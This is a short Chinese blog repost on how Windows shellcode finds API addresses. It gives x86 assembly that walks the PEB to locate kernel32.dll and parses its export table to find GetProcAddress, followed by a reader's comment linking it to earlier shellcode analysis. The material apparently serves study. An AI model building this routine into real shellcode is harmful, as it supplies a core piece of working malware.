引用: http://publishblog.blogchina.com/blog/tb.b?diaryID=4067220 http://janxin.bokee.com/4067220.html ⒊Shellcode中的API地址定位。 Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让 Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE 文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我 们这里使用从进程PEB中获取,示例代码如下: push ebp; sub esp, 0x40; mov ebp,esp; push ebp; mov eax, fs:0x30 ;PEB mov eax, [eax + 0x0c] ;Ldr mov esi, [eax + 0x1c] ;Flink lodsd mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址 mov eax, [edi+3Ch] ;eax = PE首部 mov edx,[edi+eax+78h] add edx,edi ;edx = 输出表地址 mov ecx,[edx+18h] ;ecx = 输出函数的个数 mov ebx,[edx+20h] add ebx,edi ;ebx =函数名地址,AddressOfName search: dec ecx mov esi,[ebx+ecx*4] add esi,edi ;依次找每个函数名称 ;GetProcAddress mov eax,0x50746547 cmp [esi], eax; 'PteG' jne search mov eax,0x41636f72 cmp [esi+4],eax; 'Acor' jne search ;如果是GetProcA,表示找到了 mov ebx,[edx+24h] add ebx,edi ;ebx = 索引号地址,AddressOf mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值 mov ebx,[edx+1Ch] add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction mov eax,[ebx+ecx*4] add eax,edi ;利用索引值,计算出GetProcAddress的地址 mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中 ==== 跟之前在分析shellcode的時候 看到找kernel32.dll的位址方法一樣 這個範例是使用GetProcAddress, 有些會使用 LoadLibrary去載入其他DLL 然後再繼續找function ==== when windows creates threads, FS points to the current TEB.